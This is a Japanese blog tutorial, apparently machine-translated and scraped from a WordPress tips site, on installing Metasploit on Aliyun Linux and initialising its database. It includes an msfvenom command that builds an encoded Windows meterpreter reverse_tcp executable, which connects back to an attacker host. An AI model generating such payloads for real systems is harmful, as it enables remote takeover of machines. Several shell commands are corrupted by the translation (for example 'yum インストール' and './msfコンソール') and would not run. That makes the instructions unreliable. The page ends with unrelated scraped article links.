Linuxシステムにmsfをインストールするプロセスの詳細な説明

Linuxシステムにmsfをインストールするプロセスの詳細な説明

または、インストールプロセスを自分で書き留めてください。

私のサーバーシステムはAliyun Linuxです

1.ダウンロードしてインストールする
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

考えられるエラー: ファイル /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit を開けませんでした

それはライブラリのインストールの問題によるものです!
解決:
yum インストール -y epel-release
次に、上記のコマンドを繰り返します。

2. 新しいユーザーを追加してmsfを実行する
adduser msf #msf ユーザーを追加
su msf #msfユーザーに切り替える
cd /opt/metasploit-framework/bin #msf があるディレクトリに切り替えます
./msfコンソール
#今後は msfconsole を起動し、起動時に msf ユーザーに切り替えて、データベースが同期されるようにします。
root ユーザーとして起動すると、データベースは同期されません。
(スタートアップ インデックスはデフォルトですでに構成されています!)
msfconsole を起動するだけです!

#関連コマンド [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# データベースの初期化 [msf@xxxx root]$ msfdb
コマンド:
 initはコンポーネントを初期化します
 reinit コンポーネントを削除して再初期化する
 コンポーネントを削除して停止する
 ステータスチェックコンポーネントステータス
 コンポーネントを開始する
 コンポーネントを停止する
 コンポーネントを再起動します
#テスト:
たとえば、私の仮想ホストはWin2003(ターゲットマシン)です。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

注意:エラスティッククラウドサーバIPの場合、LHOSTはイ​​ントラネットで割り当てられたIPに設定する必要があり、パブリックIPは設定できません【この落とし穴に長い間悩まされていました! ! !血を吐く! ! ! ]

ここに画像の説明を挿入

ps: Linux システムに msf フレームワークをインストールする

注文:

http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run を実行します。
chmod 755 metasploit-latest-linux-installer.run
./metasploit-最新-linux-インストーラー.run

実行が終了するまでお待ちください。重要なポイントで Enter キーと Y キーを押すだけです。

要約する

Linux システムに msf をインストールする詳細なプロセスに関するこの記事はこれで終わりです。Linux システムに msf をインストールすることに関するより関連性の高いコンテンツについては、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。皆様が今後も 123WORDPRESS.COM をサポートしてくれることを願っています。

以下もご興味があるかもしれません:
  • php-msf ソースコードの詳細な説明
  • システム ストアド プロシージャ sp_MSforeachtable および sp_MSforeachdb の使用手順

<<:  React Native JSIはRNとネイティブ通信のサンプルコードを実装します

>>:  Linux Centos7 に mysql8 をインストールするチュートリアル

推薦する

JavaScript のショートカットのヒント

目次1. 配列を結合する2. 配列をマージする(最初に) 3. 配列の複製4. 構造化分解割り当て5...

FirefoxでCookieとお気に入りをインポートおよびエクスポートする方法

Firefox は、多くの拡張機能とプラグインを備えた、よく使用されるブラウザです。IE に比べて多...

Linux sshのデフォルトのリモートポート番号を変更する6つの手順

Linux のデフォルトの ssh リモート ポートは 22 です。デフォルトのポートは、悪意のある...

DockerToolBox ファイルマウント実装コード

docker を使用すると、ファイルをマウントできない場合があります。これは、仮想マシンの共有フォル...

MySQL データベースは SQL ステートメントを知っている必要があります (拡張バージョン)

拡張版です。質問とSQL文は以下の通りです。ユーザー テーブルを作成し、id、name、gender...

IMG での UserMap の使用例

usemap は <img> タグの属性であり、使用するイメージ マップの名前を指定する...

SQL 文における複合主キーと結合主キーに関する予備的研究

1. 複合主キーいわゆる複合主キーとは、テーブルの主キーが複数のフィールドで構成され、ビジネス上の意...

CSS3は小さな矢印のさまざまなグラフィック効果を実現します

CSS を使ってさまざまなグラフィックを実現できるのは素晴らしいことです。画像を切り取る必要はなく、...

mysql 5.7.11 winx64 初期パスワード変更

公式サイトからMySQL-5.7.11-winx64の圧縮版をダウンロード。インストール後、パスワー...

MySQL InnoDB のロック機構の詳細な説明

前面に書かれたデータベースは本質的に共有リソースであるため、同時アクセスのパフォーマンスを最大化する...

ホストがアクセスできるようにMySQLの権限を変更する方法

mysqlのリモートアクセス権を有効にするデフォルトでは、MySQL ユーザーにはリモート アクセス...

Vue+Openlayer で select を使用して要素を選択する実装コード

効果画像: 実装コード: <テンプレート> <div id="map&q...

コード分​​析を実現するためのFastDFSとNginxの統合

FastDFSとNginxの統合:トラッカーは、負荷分散と高可用性のために Nginx と組み合わせ...

タグが新しいページを開くかどうかという問題。主要ウェブサイトの開設状況をまとめました

a タグが新しいページを開くかどうか: (1)百度百科事典:ヘッダーが異なる場合は新しいページが開き...

OpenSSL を使用した Kubernetes 証明書の生成の概要

Kubernetes は、基本認証、トークン認証、CA 認証の 3 種類の認証をサポートしています。...